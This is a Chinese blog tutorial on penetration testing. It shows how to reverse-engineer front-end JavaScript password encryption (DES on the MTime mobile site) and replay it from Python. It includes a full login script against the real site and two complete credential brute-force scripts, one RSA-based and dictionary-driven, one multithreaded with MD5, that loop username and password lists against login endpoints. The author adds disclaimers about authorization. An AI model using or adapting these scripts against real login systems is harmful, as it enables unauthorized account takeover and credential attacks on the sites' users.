渗透测试-Python破解前端JS密码加密

tech2022-07-09  189

文章目录

前言加密破解站点简介加密分析编写脚本执行脚本 暴力破解总结

前言

渗透测试过程中,经常会遇到有的站点未对用户登录失败的次数进行限制,导致可以直接使用 BurpSuite 工具进行暴力破解。有的站点虽然可以爆破,却在前端使用JS代码对密码进行了加密,如果是常规的加密或者哈希算法,BurpSuite 的爆破功能自带了选择加密算法的功能,可直接爆破搞定即可。但如果遇上不是常规加密算法、或者开发人员对常见算法进行变形的情况……

本文将简述如何使用Python脚本对前端做了密码加密的站点进行暴力破解。

加密破解

由于进行暴力破解需要得到合法授权才不算违法(你懂的……),所以下面首先要介绍的并不是暴力破解,而是使用Python脚本调用保存到本地的、用于前端加密的JS文件对用户输入的明文进行加密,从而实现对目标站点的模拟登录。

站点简介

MTime 时光网 是一个电影媒体与电商服务平台,而这次做的模拟登录则是依靠其手机端站点,站点地址如下:

【严正声明】本人并未使用脚本进行过暴力破解攻击……该网站已对登陆失败次数进行限制,错误登录5次将被禁用无法登录(手工试的),所以请各位读者别动歪心思……

首先注册账号并尝试登录:

抓包查看登录请求数据包,发现密码确实做了加密:

来看看请求包中的5个参数:

t=2020921817384257&name=130111122221&password=f096bcb738d4f7bd&code=&codeId= 参数含义t类似于记录登录时间的参数name用户名,此处是用户的手机号码password加密后的密码,也是下面需要破解的参数对象code、codeid此处暂时为空,当连续输入三次密码错误将要需要输入图型验证码

加密分析

接下来的任务核心就是找出该站点JS文件中的加密算法。

1、老套路直接 F12 打开开发者工具,在调试器里面搜索关键字 “encrypt”(屡试不爽)……发现在app.all.min.js文件中存在疑似对密码进行 DES 加密的函数function af(a) :

2、代码做了混淆,为了确认此处 function af(a) 函数是不是用来对密码进行加密的,设置断点重新登录,发现传递过来的密码明文 qwe123:

执行到 function af(a) 函数末尾,发现 return 的数据与之前抓包的 password 密文一致,至此可以断定 function af(a) 函数即为密码加密函数:

3、注意到 function af(a) 函数当中调用了 CryptoJS.DES.encrypt 函数,为了追溯该函数的来源,搜索 CryptoJS 发现存在于 libs.all.min.js 文件中:

4、将 libs.all.min.js 文件中 “var CryptoJS = CryptoJS || function (g, w) ” 所在行以后的JS代码全部保存到本地(共有1400多行)并重新命名为 encrypt.js 文件:

同时在 encrypt.js 文件末尾新增一个函数(用于充当app.all.min.js文件中用于调用 libs.all.min.js 文件加密函数的function af(a)函数):

编写脚本

既然前端JS加密脚本文件已经全部找到了,那就开始编写模拟登录的 Python 脚本了。代码比较简单(仅40余行)就不做分析了,直接附上完整代码:

import execjs import requests class MTimeSpider: def __init__(self, username, password): self.username = username self.password = password def encrypted(self): """ use JavaScript to encrypt the password :return: """ with open("encrypt.js", "r", encoding="utf-8") as f: ctx = execjs.compile(f.read()) self.password = ctx.call("encrypt", self.password) print('加密后的密码是:'+self.password) def request(self): """ send request and get the response :return: """ self.encrypted() login_api = "https://m.mtime.cn/Service/callback-comm.mi/user/login.api" data = { "t": "2020921817384257", "name": self.username, "password": self.password, "code": "", "codeId": "" } res = requests.post(url=login_api, data=data) status, msg = res.json()["data"]["status"], res.json()["data"]["msg"] if status == 1: name = res.json()["data"]["user"]["nickname"] print("用户:{}登录成功!".format(name)) else: print("登录失败:{}".format(msg)) if __name__ == '__main__': print("请输入账号:") usr = input() print("请输入密码:") pwd = input() spider = MTimeSpider(usr, pwd) spider.request()

执行脚本

使用 Pycharm 新建项目并将上面准备好的加密文件 encrypt.js 放在工程目录下,然后来看看脚本的执行效果:

对比下抓包数据:

可以看到,上述脚本可成功对输入的密码明文进行加密,并向服务器发送登录请求,成功登录。

暴力破解

以上完成了如何使用 Python 脚本对目标站点发送加密后的登录请求,但是演示的站点已做了登录失败次数限制同时未经授权不能暴力破解。

下面附上一个使用 Python 脚本进行登录爆破的案例:

# -*- coding: UTF-8 -*- # @Time : 2020/1/16 10:29 # @Author : Donvin.li # @ : https://blog.csdn.net/weixin_43853965/article/details/104020152 import rsa import requests def login(usr,psd): passd=get_rsa_result(psd) s=requests.session() headers={'Host': 'e.xxxx.com', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Requested-With': 'XMLHttpRequest', 'Origin': 'http://e.xxxx.com', 'Connection': 'close', 'Referer': 'http://e.xxxx/portal/', } postdata={'lang':'cn','userid':usr,'pwd':passd,'cmd':'CLIENT_USER_LOGIN','sid':'','deviceType':'pc','_CACHE_LOGIN_TIME_':'1579162050273','pwdEncode':'RSA','timeZone':'-8'} url='http://e.xxxx.com/portal/r/jd' rs=s.post(url,postdata,headers=headers) result=rs.text if 'error' not in result: print('Login sucessful:'+usr+':'+psd) else: print('Not this!') def get_rsa_result(content): """ 根据 模量与指数 生成公钥,并利用公钥对内容 rsa 加密返回结果 :param e:指数 :param n: 模量 :param content:待加密字符串 :return: 加密后结果 """ n = "8bcbceb956d3d6c0da8cd8847e50796eac0fb3d67d4901820fa85dcd8edbb30bd25966eb18223e1ace1308da181897df4559bf97cca6ae9a33a0baf6f53324334a385d2a7cbc186fb5070045080b6c948423e7ddcd795ac9eaa438317772f4a948409ecec92dfe222a10b4c327e8d0e494cc0aa42ebc786030a105da0637049d" e = "10001" e = int(e, 16) n = int(n, 16) pub_key = rsa.PublicKey(e=e, n=n) m = rsa.encrypt(content.encode(), pub_key) #print(m.hex()) return m.hex() def Brute(ufile,pfile): userfile=open(ufile,'r') passdfile=open(pfile,'r') for user in userfile: usr=user.strip() passdfile.seek(0) #print(usr) for passd in passdfile: psd=passd.strip() #print(usr,psd) login(usr,psd) if __name__ == '__main__': Brute('u.txt','p.txt') #u.txt是用户名字典,p.txt是密码字典

还有另外一个大佬结合 Python 多线程进行爆破的案例:

#! /usr/bin/env python # _*_ coding:utf-8 _*_ # @ : https://blog.csdn.net/qq_23936389/article/details/81256012 import requests import threadpool from selenium import webdriver import execjs def getpass(str): with open ('md5.js','r') as js: source = js.read() phantom = execjs.get('PhantomJS') getpass = phantom.compile(source) password = getpass.call('hex_md5',str) return password def login(user,passwd): url="http://127.0.0.1/login.php" payload ={'username':user,'password':getpass(passwd)} headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'} try: response = requests.post(url,data=payload,headers=headers,timeout=5) result=response.content if result.count('fail')<1: print '[success] ' +url+":"+user+':'+passwd except: pass def getLines(fileName): list=[] with open(fileName, 'r') as fd: for line in fd.readlines(): line = line.strip() if not len(line) or line.startswith('#'): continue list.append(line) return list if __name__ == '__main__': username_list=getLines('user.dict') password_list=getLines('pass.dict') userlist = [([user,passwd],None) for user in username_list for passwd in password_list] pool = threadpool.ThreadPool(20) reqs = threadpool.makeRequests(login,userlist) [pool.putRequest(req) for req in reqs] pool.wait()

上述两段示例代码依次参考以下文章:

Python安全之突破RSA加密进行暴力破解Web暴力破解—前端JS表单加密进行爆破

总结

在实际的工作中,可结合上述“时光网”模拟登录的案例分析和暴力破解脚本,自行编写爆破脚本。也希望各位开发的大佬不要再觉得使用前端JS加密了用户密码之后就可以高枕无忧啦!

最新回复(0)